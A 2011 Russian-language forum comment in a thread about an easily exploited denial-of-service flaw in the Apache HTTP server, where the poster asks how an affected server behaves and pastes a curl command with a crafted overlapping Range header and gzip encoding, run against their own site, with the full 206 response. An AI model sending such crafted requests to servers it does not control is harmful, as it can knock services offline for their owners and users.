Исходное сообщение
"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache" Отправлено Аноним, 25-Авг-11 12:26
> vrt.kz - пример. Его похоже положили серьезно :) Как вообще должен сервак отвечать? должен ли задумываться? должны ли форки не завершаться, а виснуть или просто должны раздуваться в памяти? Попробовал вручную запустить команду, отрабатывает быстро и ничего не обычного у себя я не вижу (извиняюсь за длинный листинг): # curl -v -I -H "Range: bytes=0-,5-0,...-1299" -H "Accept-Encoding: gzip" -H "Connection: close" -s mysite.ru * About to connect() to mysite.ru port 80 (#0) *   Trying 1.1.1.1... connected * Connected to mysite.ru (1.1.1.1) port 80 (#0) > HEAD / HTTP/1.1 > User-Agent: curl/7.19.6 (i386-portbld-freebsd8.0) libcurl/7.19.6 OpenSSL/0.9.8q zlib/1.2.3 > Host: mysite.ru > Accept: */* > Range: bytes=0-,5-0,5-1,...5-1299 > Accept-Encoding: gzip > Connection: close > < HTTP/1.1 206 Partial Content HTTP/1.1 206 Partial Content < Date: Thu, 25 Aug 2011 08:19:51 GMT Date: Thu, 25 Aug 2011 08:19:51 GMT < Server: Apache Server: Apache < Set-Cookie: PHPSESSID=4efd497021eaf2fb4541fdd7858cb075; path=/ Set-Cookie: PHPSESSID=4efd497021eaf2fb4541fdd7858cb075; path=/ < Vary: Accept-Encoding,User-Agent Vary: Accept-Encoding,User-Agent < Content-Encoding: gzip Content-Encoding: gzip < Content-Length: 104705 Content-Length: 104705 < Connection: close Connection: close < Content-Type: multipart/byteranges; boundary=4ab5017c3c4a7f657 Content-Type: multipart/byteranges; boundary=4ab5017c3c4a7f657 < * Closing connection #0